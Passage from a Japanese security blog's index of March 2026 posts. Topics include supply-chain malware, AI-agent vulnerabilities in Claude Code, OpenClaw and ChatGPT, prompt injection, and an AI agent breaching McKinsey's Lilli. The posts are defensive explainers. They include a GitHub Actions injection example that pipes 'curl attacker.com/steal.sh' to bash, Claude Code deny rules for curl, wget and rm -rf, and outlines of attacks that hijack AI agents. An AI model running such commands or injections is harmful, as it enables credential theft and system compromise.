Security on hdknr blog

ChatGPTのコード実行環境にDNSトンネリングによるデータ漏洩の脆弱性が発覚

Tue, 31 Mar 2026 00:00:00 +0000

ChatGPTのData Analysis環境にDNSトンネリングによるデータ漏洩の脆弱性をCheck Pointが発見。攻撃の仕組み、漏洩リスク、OpenAIの対応、ユーザーの対策を解説。

PyPI公式パッケージ telnyx がサプライチェーン攻撃で汚染 — TeamPCPによるWAVステガノグラフィ攻撃の全容

Fri, 27 Mar 2026 00:00:00 +0000

PyPI公式パッケージ telnyx がTeamPCPのサプライチェーン攻撃で汚染。WAVステガノグラフィ手法の詳細と、Python開発者が今すぐ取るべき対策を解説。

Claude Code: dangerously-skip-permissions をやめて auto mode に移行する

Wed, 25 Mar 2026 00:00:00 +0000

Claude Code の dangerously-skip-permissions は権限チェックを完全無視する危険なオプション。auto mode なら安全性チェック付きでツールを自動承認できる。設定方法と違いを解説。

Claude Codeを使うなら最低限やっておきたい「7つのセキュリティ設定」

Mon, 23 Mar 2026 00:00:00 +0000

Claude Code のセキュリティ設定を7つ解説。サンドボックス、deny ルール、機密ファイル保護、ネットワーク制限、hooks、権限棚卸し、Managed Settings の設定方法を実践的にまとめます。

MCP のセキュリティが OAuth 2.1 で大幅進化：AI エージェントと社内データを安全に接続する仕組み

Sun, 22 Mar 2026 00:00:00 +0000

AI エージェントが外部ツールやデータソースに安全にアクセスするための標準プロトコル「MCP（Model Context Protocol）」が、OAuth 2.1 ベースの認証・認可フレームワークを導入し、エンタープライズ環境での採用が加速しています。本記事では、MCP の認可仕様の仕組みと、企業導入における設計ポイントを解説します。

MCP とは

MCP（Model Context Protocol）は、AI アシスタントがツール、データソース、サービスといった外部リソースに接続するための標準プロトコルです。Anthropic が提唱し、オープンな仕様として公開されています。

MCP を使うことで、AI エージェントは以下のようなことが可能になります：

社内データベースへのクエリ実行
外部 API の呼び出し
ファイルシステムの操作
各種 SaaS サービスとの連携

OAuth 2.0 から 2.1 へ：何が変わったのか

OAuth 2.1 は OAuth 2.0 の後継仕様であり、これまで個別の RFC やベストプラクティスとして散在していたセキュリティ強化策を統合したものです。MCP がベースとする OAuth 2.1 では、以下の重要な変更が含まれています：

変更点	内容
PKCE 必須化	全クライアント（パブリック・コンフィデンシャル両方）で必須に
Implicit フロー廃止	アクセストークンが URL フラグメントに露出するリスクを排除
リフレッシュトークンのローテーション	パブリッククライアントでのトークン漏洩時の影響を軽減
リダイレクト URI の厳密一致	ワイルドカードによるオープンリダイレクト攻撃を防止

つまり、OAuth 2.1 は「新機能の追加」というより、OAuth 2.0 時代に発見された攻撃手法への対策を標準に組み込んだものです。

MCP の認可アーキテクチャ

MCP の認可仕様では、OAuth 2.1 をベースに、AI エージェント特有の要件に対応した複数の仕組みを組み合わせています。

OpenClaw狂想曲：中国で巻き起こるAIエージェント・ゴールドラッシュと「ツルハシ売り」たち

Fri, 20 Mar 2026 00:00:00 +0000

中国でOpenClawが爆発的に普及し、AIエージェントの設定代行ビジネスが急成長。北京のエンジニアが7,000件の注文を処理して100人企業に成長した事例など、AI時代のゴールドラッシュの実態を解説。

ForceMemo: GitHub アカウントを乗っ取り Python リポジトリにバックドアを仕込む新型攻撃

Thu, 19 Mar 2026 00:00:00 +0000

2026年3月上旬から、GitHub アカウントを侵害して Python リポジトリに悪意あるコードを注入する「ForceMemo」と呼ばれる大規模攻撃キャンペーンが確認されています。force-push によるコミット履歴の書き換えと、Solana ブロックチェーンを利用した C2（Command and Control: 攻撃者がマルウェアに指令を送る仕組み）通信という巧妙な手法が特徴です。

攻撃の概要

ForceMemo は、以下の流れで Python プロジェクトを侵害します:

GitHub アカウントの侵害 — GlassWorm と呼ばれる情報窃取マルウェアが VS Code / Cursor 拡張機能から GitHub トークンを抽出
コードの改ざん — 侵害したアカウントで setup.py、main.py、app.py、manage.py 等に難読化されたマルウェアを注入
痕跡の隠蔽 — force-push でコミット履歴を書き換え、タイムスタンプを維持することで改ざんを検知困難に
C2 通信 — Solana ブロックチェーンのメモ機能を使ったコマンド＆コントロール通信

GlassWorm による初期侵入

攻撃の起点となる GlassWorm は情報窃取型マルウェアで、VS Code および Cursor の拡張機能を経由して感染します。窃取対象となる GitHub トークンの格納先は多岐にわたります:

VS Code / Cursor 拡張機能のストレージ
git credential fill の出力
~/.git-credentials ファイル
GITHUB_TOKEN 環境変数

窃取されたトークンを使って正規のアカウントとしてリポジトリにアクセスし、コードを改ざんします。

force-push による履歴改ざん

通常のコミットであれば git log で変更履歴を追跡できますが、ForceMemo は force-push を使ってコミット履歴自体を書き換えます。さらにタイムスタンプも維持するため、リポジトリのメンテナーやユーザーが改ざんに気づきにくい構造になっています。

CVE-2026-32746: GNU Inetutils telnetd に32年間潜んでいた認証前リモートコード実行の脆弱性

Wed, 18 Mar 2026 00:00:00 +0000

GNU Inetutils telnetd の認証前リモートコード実行脆弱性 CVE-2026-32746（CVSS 9.8）の技術的詳細、攻撃手法、パッチ状況、対策を解説。

Microsoft Agent Governance Toolkit：AIエージェントのセキュリティを4つの柱で守るOSSツールキット

Sat, 14 Mar 2026 00:00:00 +0000

Microsoft がオープンソースで公開した Agent Governance Toolkit は、自律型 AI エージェントに欠けていたセキュリティレイヤーを提供するツールキットだ。ポリシー強制、ゼロトラスト ID、実行サンドボックス、信頼性エンジニアリングの4つの柱で、OWASP Agentic Top 10 の全10項目のリスクをカバーする。

背景：なぜ AI エージェントにガバナンスが必要か

AI エージェントが自律的にツールを呼び出し、ファイルを操作し、外部 API と通信する時代になった。しかし、その自律性にはリスクが伴う。意図しないゴールの書き換え、過剰な権限の付与、エージェント間通信の改ざん、カスケード障害など、従来の Web アプリケーションとは異なるセキュリティ課題がある。

OWASP は「Agentic Top 10」として AI エージェント特有のリスクを定義しており、Agent Governance Toolkit はこの全10項目に対応している。

4つの柱

1. Policy Engine（ポリシーエンジン）

すべてのエージェントアクションを実行前に評価し、許可・拒否を判定する。サブミリ秒（0.1ms 未満）のレイテンシで動作するため、エージェントの応答速度に影響を与えない。

1
2
3
4
5
6


from agent_governance_toolkit import CapabilityModel

capabilities = CapabilityModel(
 allowed_tools=["web_search", "file_read"],
 denied_tools=["file_write", "shell_exec"]
)

許可するツールと拒否するツールを明示的に定義し、エージェントが意図しない操作を行うことを防ぐ。

GitHub で見つけた「便利ツール」を解析したらマルウェアだった話：偽 OpenClaw インストーラーの実態

Wed, 11 Mar 2026 00:00:00 +0000

GitHub 上で OpenClaw の便利ツールを装った不審なリポジトリが発見され、実際に解析したところマルウェア（シェルコードローダー）であることが判明した。ひよっこサウナ氏（@hiyoko_sauna）による詳細な解析レポートを基に、この攻撃手法の全体像を紹介する。

対象リポジトリの特徴

github.com/sdwadsagw/OpenClawInstaller という、「Open Claw を簡単にインストールできるツール」として公開されていたリポジトリが対象だ。

項目	値
アカウント作成日	2026-02-11（リポジトリと同日作成）
Star / Fork	2 / 0
説明文	「AI assistant for Open Claw」

使い捨てアカウント（リポジトリと同日作成）という時点で怪しさ満点だ。

ZIP の中身

Claw-Installer-Open-2.8-alpha.3.zip を展開すると 4 ファイルが入っていた。

ファイル	サイズ	VT 検出率	説明
StartApp.bat	22 bytes	-	`start luau.exe asm.txt` を実行するだけ
luau.exe	288,768 bytes	25/76	LuaJIT 2.1.0-beta3（正規バイナリ）
lua51.dll	390,144 bytes	1/75	LuaJIT 用ランタイム DLL
asm.txt	309,298 bytes	0/76	難読化された Lua スクリプト

注目すべきは asm.txt の検出率が 0/76 という点だ。悪意のあるコードは asm.txt に書かれているのに検出されず、無害な luau.exe の方が検出されるという逆転現象が起きている。

Kali Linux × Ollama × MCP — 完全ローカルで動く AI ペンテスト環境の構築

Wed, 11 Mar 2026 00:00:00 +0000

Kali Linux チームが、外部 SaaS に一切依存しない完全ローカルの AI ペンテスト支援環境の構築ガイドを公式ブログで公開した。Ollama でローカル LLM を動かし、MCP（Model Context Protocol）経由で nmap などの Kali ツールを自然言語から操作する構成だ。

構成要素

コンポーネント	役割	アーキテクチャ上の位置づけ
Ollama	ローカル LLM サーバー。llama.cpp のラッパーとしてモデルのダウンロード・サービングを簡素化	推論エンジン（脳）
mcp-kali-server	Flask ベースの MCP サーバー（127.0.0.1:5000）。nmap, gobuster, nikto, hydra, sqlmap 等の Kali ツールを MCP 経由で公開	ツールサーバー（手足）
5ire	デスクトップ AI アシスタント兼 MCP クライアント。ユーザー入力を LLM に送り、LLM の応答からツール呼び出しを検出し、MCP 経由でツールを実行し、結果を LLM に戻すループを回す	AI エージェント（オーケストレーター）

この構成で「エージェント」に相当するのは 5ire だ。LLM（Ollama）は推論を担うだけであり、ツールサーバー（mcp-kali-server）は呼ばれるのを待つだけ。ユーザーの意図を解釈し、LLM とツールの間を仲介して自律的にループを回す 5ire こそがエージェントの役割を果たしている。Claude Code に例えると、Ollama は API の向こう側の Claude モデル、mcp-kali-server は MCP サーバー、5ire は Claude Code 本体に相当する。

マッキンゼーの社内AI「Lilli」がSQLインジェクションで完全突破された件

Wed, 11 Mar 2026 00:00:00 +0000

セキュリティスタートアップ CodeWall の AI エージェントが、マッキンゼーの社内 AI プラットフォーム「Lilli」をわずか2時間で完全突破した。4,650万件のチャット履歴からシステムプロンプトまで、認証なしで読み書き可能だったという。攻撃手法は SQL インジェクション——教科書の1章目に載る古典的な脆弱性だ。

Lilli とは

Lilli はマッキンゼーが社内向けに構築した生成 AI プラットフォームで、数万人のコンサルタントが日常的に利用している。戦略立案、M&A 分析、クライアント対応など、機密性の高い業務に活用されていた。

Lilli のアーキテクチャ

マッキンゼーは Lilli の技術構成をある程度公開しており、その設計思想と今回の事件のギャップが際立つ。

RAG パイプライン + オーケストレーション層

Lilli のコアは RAG（Retrieval-Augmented Generation）パイプラインだ。40以上のキュレーション済みナレッジソースに10万件超のドキュメント、インタビュー記録、セクター別プレイブックが格納されている。ユーザーのクエリはベクトル埋め込みでマッチングされ、5〜7件の関連文書が引用付きで提示される。四半期あたり約200万クエリを処理する規模だ。

技術スタック

LLM: Cohere、OpenAI（Azure 経由）など複数モデルを併用。Microsoft、Google、Nvidia、Anthropic との戦略的パートナーシップ
フレームワーク: QuantumBlack の Horizon ツールキット、LangChain、FAISS
インフラ: Microsoft Azure（データストレージ・スケーラビリティ）
独自ツール: PowerPoint を85%以上読み取り可能にする独自ドキュメントパーサー

「ゼロトラスト」設計——のはずだった

マッキンゼーは Lilli のセキュリティについて、ゼロトラストセキュリティスタック、オンプレミスデータストア、ロールベースアクセス制御（RBAC）、完全な監査ログを備えていると説明していた。しかし実際には、22個の API エンドポイントが認証なしで外部に公開されていた。設計上のセキュリティと実装上のセキュリティの乖離が、今回の事件の根本原因だ。

攻撃の経緯

CodeWall の自律型セキュリティエージェントは、以下の手順で Lilli を攻撃した:

公開 API ドキュメントの発見 — Lilli の API ドキュメントが外部から閲覧可能な状態だった
認証不要エンドポイントの特定 — 22個のエンドポイントが認証なしでアクセス可能だった
SQL インジェクションの検出 — ユーザー検索クエリを書き込むエンドポイントで、JSON のキー名が SQL 文に直接連結されていた
本番データベースへのフルアクセス — 読み取りと書き込みの両方が可能な状態に到達

人間の介入は一切なし。AI エージェントが自律的に脆弱性を発見し、エクスプロイトまで完了した。

脆弱性管理の次の時代 ── Exposure Management とは何か

Wed, 11 Mar 2026 00:00:00 +0000

企業のセキュリティチームは深刻な課題に直面しています。NVD（National Vulnerability Database）に登録される CVE は年間 25,000 件以上。多くの企業では数万〜数十万の脆弱性がスキャンで検出されます。しかし現実は明確で、「すべてを修正することは不可能」です。

この状況を背景に、ガートナーは新しいセキュリティの考え方として Exposure Management（エクスポージャー管理） を提示しました。

CVSS とは何か

Exposure Management を理解する前に、従来の脆弱性管理の中核にある CVSS（Common Vulnerability Scoring System） について押さえておきましょう。

CVSS は、脆弱性の深刻度を 0.0〜10.0 のスコアで数値化する国際的な評価基準です。FIRST（Forum of Incident Response and Security Teams）が管理しており、現在は v3.1 と v4.0 が使われています。

スコア	深刻度
9.0〜10.0	Critical（緊急）
7.0〜8.9	High（重要）
4.0〜6.9	Medium（警告）
0.1〜3.9	Low（注意）

スコアは以下の観点から算出されます。

攻撃元区分 — ネットワーク経由か、物理アクセスが必要か
攻撃条件の複雑さ — 特殊な条件が必要か
必要な特権レベル — 認証が必要か
ユーザ関与 — ユーザの操作（リンクのクリック等）が必要か
影響範囲 — 機密性・完全性・可用性への影響度

CVSS は脆弱性の技術的な深刻度を標準化された方法で伝える点で非常に有用です。しかし、このスコアだけに頼る運用には限界があります。

従来の脆弱性管理の限界

従来のアプローチは「脆弱性スキャン → CVSS スコアで優先順位付け → パッチ適用」というものでした。しかし現代の IT 環境では以下の課題があります。

中国政府が OpenClaw に緊急セキュリティ警告：AI エージェントの安全な運用とは

Wed, 11 Mar 2026 00:00:00 +0000

オープンソースの AI エージェントフレームワーク「OpenClaw」の利用が中国国内で急拡大する中、中国の国家コンピュータネットワーク緊急対応技術チーム（CNCERT）が緊急のセキュリティ警告を発しました。政府機関や国有銀行での使用禁止にまで発展したこの問題について、技術的な背景と対策をまとめます。

何が起きたのか

2026年3月、中国の CNCERT は OpenClaw について「極めて弱いデフォルトセキュリティ設定」を持つと警告を発しました。OpenClaw はローカルファイルシステムや環境変数へのアクセス、拡張機能のインストールなど高いシステム権限を付与されますが、デフォルトのセキュリティ設定が不十分であり、攻撃者がシステム全体の制御を容易に奪取できる状態であると指摘されています。

この警告を受けて、中国当局は政府機関と国有企業（主要銀行を含む）に対し、業務用コンピュータへの OpenClaw のインストールを禁止する通知を出しました。既にインストール済みの職員には、上司への報告・セキュリティチェック・必要に応じた削除が指示されています。

CNCERT が指摘した主なリスク

1. アーキテクチャ設計上の問題

OpenClaw はローカルファイルシステム、環境変数、シェルへの広範なアクセス権限を持ちます。これ自体は AI エージェントの機能として必要ですが、適切な制限なしに運用すると重大なリスクとなります。

2. デフォルト設定の脆弱性

管理 UI のデフォルトポートがインターネットに公開可能な状態
環境変数に認証情報を平文で保存する設定がデフォルト
スキルの自動更新が有効な状態がデフォルト

3. プラグインエコシステムの危険性

不正なプラグイン（ポイズンドプラグイン）を通じて、ユーザーのシステムに悪意あるコードが侵入するリスクがあります。プラグインのアクセス権限が十分に制限されていないことが問題視されています。

4. Web ベースの攻撃

悪意ある指示を Web ページに埋め込むことで、OpenClaw に不正な操作を実行させる攻撃（プロンプトインジェクション）が可能です。

5. 重要データの誤削除

AI エージェントの判断ミスにより、ユーザーが意図しない重要データの削除が発生するリスクも指摘されています。

CNCERT の推奨対策

CNCERT は以下の対策を推奨しています。

コンテナで隔離実行する — OpenClaw をホストシステムから隔離された環境で動作させる
管理ポートをインターネットに公開しない — 管理 UI へのアクセスをローカルネットワークに限定する
認証情報を平文で環境変数に保存しない — シークレット管理ツールを使用する
スキルの自動更新を無効にする — 更新は手動で検証してから適用する
厳密な認証とアクセス制御を実装する — 不要な権限を排除する
セキュリティアップデートへの追従を徹底する — 既知の脆弱性に速やかに対応する

AI エージェント全般への教訓

この問題は OpenClaw に限った話ではありません。AI エージェントは本質的に高いシステム権限を必要とするため、以下の原則はどのエージェントツールにも当てはまります。

Claude Codeの「セキュリティ%表示」は対策ではなく"お気持ち表示"？本当にやるべきセキュリティ設定

Tue, 10 Mar 2026 00:00:00 +0000

Claude Codeでツール実行のたびに「パスワード漏洩リスク: 0%」「悪意あるコード実行リスク: 0%」のようなセキュリティリスクのパーセンテージを表示させるCLAUDE.mdの設定がSNSで話題になった。これに対し、セキュリティエンジニアから「それは対策ではなくお気持ち表示」という指摘が上がり、議論を呼んでいる。

話題になった「パーセンテージ表示」

@wan_line_（ワン@AIのお兄さん）氏が2026年3月9日に投稿したポストでは、CLAUDE.mdに以下のようなルールを記述することが提案されていた:

ツール実行のたびに

パスワードが外に漏れる可能性: ○%

外部サーバーにデータが送られる可能性: ○%

悪意あるコードが動く可能性: ○%

PCの設定が書き換わる可能性: ○%

Claude Codeで「yes連打」してしまうユーザー向けに、実行前にリスクを可視化してくれるという趣旨だ。

セキュリティ専門家の反論:「お気持ち表示」

この投稿に対し、@sudachikawaii（シンジ☁Shinji）氏が反論した:

セキュリティ屋から言うと、これは「対策」ではなく「お気持ち表示」です。LLMはコードの安全性を静的解析していないので、表示されるパーセンテージに技術的根拠がありません。

「0%」を見てyes押すのは、yes連打と同じです。

指摘のポイントは明快だ:

LLMは静的解析エンジンではない — LLMが出すパーセンテージは、コードを構文解析して脆弱性を検出した結果ではなく、「それっぽい数値」を生成しているだけ
偽の安心感を与える — 「0%」という表示を見てユーザーが安心してyesを押すなら、結局yes連打と変わらない
技術的根拠がない — 実際のセキュリティリスク分析には、静的解析ツール（SAST）、依存関係チェック、ネットワーク通信の監視などが必要

Claude Codeに本当に効くセキュリティ対策

Claude Codeには、CLAUDE.mdの「お気持ちルール」よりもはるかに実効性のあるセキュリティ機能が組み込まれている。公式ドキュメントに基づき、本当にやるべき対策を整理する。

1. サンドボックスを有効にする

最も重要な対策。Bashコマンドの実行をOSレベルで隔離し、ファイルシステムやネットワークへのアクセスを制限する。

macOSではSeatbelt、LinuxではBubble Wrapが使用される
/sandbox コマンドで有効化

2. denyルールで危険なコマンドをブロック

permissions.deny に実行禁止コマンドを明示的に設定する。評価順は deny → ask → allow で、denyが最優先。

1
2
3
4
5
6
7
8
9


{
 "permissions": {
 "deny": [
 "Bash(command:rm -rf *)",
 "Bash(command:curl *)",
 "Bash(command:wget *)"
 ]
 }
}

3. 機密ファイルへのアクセスを遮断

.env やシークレットファイルへのアクセスをブロックする。

Vibe Hacking とは何か：AI が変えるサイバー攻撃の新潮流

Tue, 10 Mar 2026 00:00:00 +0000

「Vibe Coding」が開発者の間で広まる中、同じ発想をサイバー攻撃に応用する「Vibe Hacking」が新たな脅威として注目されている。AI を使って、専門知識がなくてもマルウェアや攻撃スクリプトを生成できる時代が到来した。

Vibe Hacking とは

Vibe Hacking は、AI を活用してサイバー攻撃のハードルを劇的に下げる手法・思想を指す。開発者が自然言語で AI にコードを書かせる「Vibe Coding」のダークサイドとも言える概念だ。

従来のハッキングには、ネットワークプロトコルの理解、脆弱性の発見、エクスプロイトコードの記述といった高度な技術スキルが必要だった。しかし Vibe Hacking では「ターゲットを指定するだけ」「経験不要」「AI が処理する」といった形で、技術的な障壁がほぼ消失する。

具体的な脅威

AI 生成マルウェア

HP Wolf Security の脅威インサイトレポート（2025年10月〜12月）によると、攻撃者は AI で生成した感染スクリプトを実際の攻撃キャンペーンに使用している。偽のインボイス PDF を通じて、正規のプラットフォーム（Booking.com など）へリダイレクトする前にマルウェアをダウンロードさせる手口が確認されている。

Flat-Pack Malware

複数の無関係な脅威グループが、同一のモジュール化されたマルウェアコンポーネントを再利用する「Flat-Pack Malware」も増加している。市販のマルウェア部品を組み立てるだけで、最小限の労力でカスタマイズされた攻撃キャンペーンを展開できる。

国家レベルの活用

パキスタン系の脅威アクター「Transparent Tribe」が、AI コーディングツールを使ってマルウェアを「Vibe Coding」し、インド政府やその海外大使館を標的にした事例も報告されている。

なぜ危険なのか

攻撃コストの劇的な低下

脆弱性の発見からエクスプロイト作成までのコストは、かつて数週間と数千ドルを要した。AI によりこれがほぼゼロになりつつある。「スプレー＆プレイ」型の大規模攻撃ではなく、特定のシステムや企業、さらには個々の開発者をピンポイントで狙うマイクロターゲット攻撃が現実的になった。

検出回避能力の向上

HP の調査では、メール脅威の 14% 以上がゲートウェイスキャナーを回避している。AI が生成するコードは毎回微妙に異なるため、シグネチャベースの検出が困難になっている。

Vibe Coding で作られたアプリの脆弱性

攻撃だけでなく、Vibe Coding で開発されたアプリケーション側も問題を抱えている。Veracode の GenAI コードセキュリティレポートによると、AI 生成コードの 45% にセキュリティ脆弱性が含まれている。AI はほぼ半分の確率で安全でない実装を選択する。

対策のポイント

AI によるコードレビューの自動化

Vibe Coding で生成された全コードを人間がレビューするのは現実的ではない。コード生成が AI なら、レビューも AI で自動化するのが自然な流れだ。

AI Agent に品質を担保させる — QA 手法の実践ガイド

Mon, 09 Mar 2026 00:00:00 +0000

Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（@hikarine3）が公開した実践ガイドから、要点を紹介する。

Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。

1. 設定ファイルにルールを書く

CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。

ルール	防げる事故
テスト結果を「○件中○件が正常」形式で報告	0 件検出の見落とし
影響範囲を確認	1 ファイル修正で他が壊れる
ファイル削除・本番デプロイ・DB 操作は承認必須	取り返しのつかないミス

設定ファイルは 50 行以内 を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。

2. リスクレベルで使い分ける

すべてのプロジェクトに同じ品質基準を適用する必要はない。

レベル	対象	テスト深度
ラフ	静的サイト、ブログ	目視確認
標準	Web アプリ（ユーザーデータあり）	回帰テスト
厳密	金融・決済・認証・個人情報	境界値・異常系テスト

3. AI にテスト設計もさせる

従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。

4. AI のテストが「嘘」になる 10 パターン

AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:

AI Agent に品質を担保させる — QA 手法の実践ガイド

Mon, 09 Mar 2026 00:00:00 +0000

1. 設定ファイルにルールを書く

CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。

ルール	防げる事故
テスト結果を「○件中○件が正常」形式で報告	0 件検出の見落とし
影響範囲を確認	1 ファイル修正で他が壊れる
ファイル削除・本番デプロイ・DB 操作は承認必須	取り返しのつかないミス

2. リスクレベルで使い分ける

すべてのプロジェクトに同じ品質基準を適用する必要はない。

レベル	対象	テスト深度
ラフ	静的サイト、ブログ	目視確認
標準	Web アプリ（ユーザーデータあり）	回帰テスト
厳密	金融・決済・認証・個人情報	境界値・異常系テスト

3. AI にテスト設計もさせる

4. AI のテストが「嘘」になる 10 パターン

AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:

Claude Code Security — AI がコードベースの脆弱性を発見・修正提案する新機能

Mon, 09 Mar 2026 00:00:00 +0000

Anthropic が Claude Code Security を限定リサーチプレビューとして公開しました。AI がコードベース全体をスキャンして脆弱性を検出し、修正パッチまで提案してくれる機能です。

Claude Code Security とは

従来の静的分析ツール（SAST）はルールベースでパターンマッチングを行うため、ビジネスロジックの欠陥やアクセス制御の不備など、文脈依存の脆弱性を見落としがちでした。

Claude Code Security は、人間のセキュリティ研究者のようにコードを「理解」するアプローチを採用しています。

コンポーネント間の相互作用を把握する
アプリケーション全体のデータフローを追跡する
ルールベースツールでは検出困難な脆弱性を発見する

主な特徴

多段階検証プロセス

検出した脆弱性は多段階の検証プロセスにかけられ、誤検知（false positive）がフィルタリングされます。各脆弱性には重大度評価と信頼度スコアが付与されます。

ヒューマン・イン・ザ・ループ

修正パッチは自動適用されません。Claude Code Security は問題の特定と解決策の提案を行い、最終的な判断は開発者が行います。

実績

Anthropic のレッドチーム活動では、Claude Opus 4.6 を使用して本番環境のオープンソースプロジェクトから 500 以上の脆弱性 を発見しました。これらは数十年にわたり専門家のレビューを経ても検出されなかったバグです。

利用方法

プラン	利用可否
Enterprise	即時利用可能
Team	即時利用可能
オープンソースメンテナー	無料で迅速なアクセスを提供（申請制）

詳細は Anthropic 公式の Claude Code Security ページを参照してください。

従来のツールとの違い

従来の SAST ツールは既知のパターンを検索する仕組みのため、新しいタイプの脆弱性や複雑なロジックの欠陥には対応しきれませんでした。Claude Code Security は LLM の推論能力を活用して、コードの意味を理解した上で脆弱性を検出するという点で、セキュリティスキャンの新しいアプローチといえます。

まとめ

Claude Code Security は「脆弱性は多いが対応する人員が少ない」というセキュリティチームの課題に対し、AI による自動検出と修正提案で支援するツールです。現時点では限定リサーチプレビューですが、今後のセキュリティ開発ワークフローに大きな影響を与える可能性があります。

Claude Code でツール実行前にセキュリティリスクをパーセンテージ表示させる CLAUDE.md 設定

Mon, 09 Mar 2026 00:00:00 +0000

Claude Code でツール実行の許可を求められるたびに、セキュリティリスクをパーセンテージで表示させる CLAUDE.md の設定が話題になっています。「なんかやばそうだけど…まあいいか」で Yes を連打してしまう問題への対策です。

背景

Claude Code はファイル操作やシェルコマンドの実行時にユーザーの許可を求めますが、表示される内容だけでは何がどの程度危険なのか判断しにくいことがあります。特に初心者は、よく分からないまま Yes を連打してしまいがちです。

CLAUDE.md に追加する設定

プロジェクトのルートディレクトリにある CLAUDE.md に以下の内容を追加します:

1
2
3
4
5
6
7
8


## ツール実行時の許可ルール

- ツール実行（Bash、ファイル操作など）の許可を求めるときは、必ず日本語で説明・確認を行うこと
- 許可を求める際、以下のセキュリティリスクをパーセンテージ(%)で提示すること
 - パスワードや秘密鍵が外に漏れる可能性
 - 外部サーバーにデータが送られる可能性
 - 悪意あるコードが勝手に動く可能性
 - PCの設定が書き換わる可能性

表示イメージ

この設定を入れると、ツール実行の確認時に以下のようなリスク評価が表示されるようになります:

・パスワードが外に漏れる可能性: 0%
・外部サーバーにデータが送られる可能性: 0%
・悪意あるコードが動く可能性: 5%
・PCの設定が書き換わる可能性: 80%

これにより、各操作のリスクを具体的な数値で把握した上で、許可するかどうかを判断できるようになります。

深圳が世界初の OpenClaw・一人企業支援策を発表 — AI エージェント時代のソロ起業を後押し

Mon, 09 Mar 2026 00:00:00 +0000

深圳市龍崗区が「OpenClaw および OPC（One-Person Company）発展支援に関する若干の措置」を発表した。AI エージェントフレームワーク OpenClaw と「一人企業」モデルを対象にした政府支援策としては、中国初、おそらく世界初の試みだ。荒井健一氏（@aarai666）のツイートで紹介されたこの政策の要点を整理する。

OpenClaw とは何か

OpenClaw はオーストリアの Peter Steinberger 氏が開発したオープンソースの AI アシスタントだ。フライトの予約からメール整理まで幅広いタスクを自律的にこなし、個人が数人分のチームに匹敵する生産性を発揮できる。この仕組みを活用して一人で会社を運営する「OPC（One-Person Company）」というコンセプトが、中国を中心に急速に広がっている。

中国では無料インストールイベントに数千人が参加するなど爆発的な人気を見せており、李強首相が全国人民代表大会で「スマートエージェント」（OpenClaw を含む概念）に言及するほどの注目度だ。

深圳・龍崗区の支援策

龍崗区の政策は、概念の認知からわずか約 3 週間で正式な支援策にまとめ上げるスピード感を見せた。支援は大きく 3 つの柱で構成される。

1. 導入・開発支援

「ロブスターサービスゾーン」を設置し無料で OpenClaw の導入サービスを提供するプラットフォームに、最大 200 万元（約 4,000 万円）の補助金
コード貢献やスキルパッケージ開発を行う開発者への追加資金支援
関連技術パッケージの開発・配布企業に最大 200 万元 の助成金

2. 計算・データリソース

データサービス、AI NAS ハードウェア、大規模モデル API 利用料の 30〜50% を補助
OPC コミュニティに新規入居する企業に 3 ヶ月間 の無料計算リソースを提供

3. 総合的な起業支援

2 ヶ月間 の無料住居提供
18 ヶ月間 の割引オフィススペース
人材定着助成金として最大 10 万元（約 200 万円）
エクイティ投資として最大 1,000 万元（約 2 億円）

政策の戦略的目標は「初期の起業コストをゼロ水準まで引き下げ、深圳を AI エージェントスタートアップのハブにする」ことだ。

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している

Fri, 06 Mar 2026 00:00:00 +0000

GitHub Actions スクリプトインジェクション完全解説 — `${{ }}` を `run` に書いた瞬間、攻撃者にシェルを渡している

『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。

はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！

引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。

何が危険なのか — 30秒で理解する

1
2


# 危険なコード
- run: echo "PR title is ${{ github.event.pull_request.title }}"

一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。

"; echo INJECTED"

展開後のシェルコマンドは以下になります。

1

echo "PR title is "; echo INJECTED""

セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。

Claude Code に潜んでいた3つの脆弱性 — git clone だけで API キーが盗まれる仕組み

Thu, 05 Mar 2026 00:00:00 +0000

Claude Code に潜んでいた3つの脆弱性 — git clone だけで API キーが盗まれる仕組み

AIコーディングツール Claude Code に、リポジトリをクローンするだけでリモートコード実行（RCE）や API キー窃取が可能になる深刻な脆弱性が見つかった。発見したのはイスラエルのセキュリティ企業 Check Point Research。2025年7月〜2026年1月にかけて段階的に報告・修正された3件の脆弱性は、AI開発ツール特有の「設定ファイル＝実行レイヤー」という新しい攻撃面を浮き彫りにしている。

何が起きたのか — 3行まとめ

Hooks コードインジェクション — .claude/settings.json に仕込んだフックで任意コマンドが実行される
MCP 同意バイパス — enableAllProjectMcpServers 設定で信頼ダイアログを迂回し、悪意ある MCP サーバーが自動起動する
API キー窃取 — ANTHROPIC_BASE_URL を攻撃者サーバーに書き換え、認証ヘッダーごと API キーを平文で盗む

いずれも修正済みだが、AI コーディングツールのサプライチェーンリスクを示す重要な事例として記録しておく。

脆弱性の詳細

脆弱性 1: Hooks によるリモートコード実行

項目	内容
